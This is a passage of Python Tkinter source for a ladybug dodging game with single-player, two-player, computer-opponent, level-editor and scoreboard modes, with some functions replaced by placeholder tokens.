data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 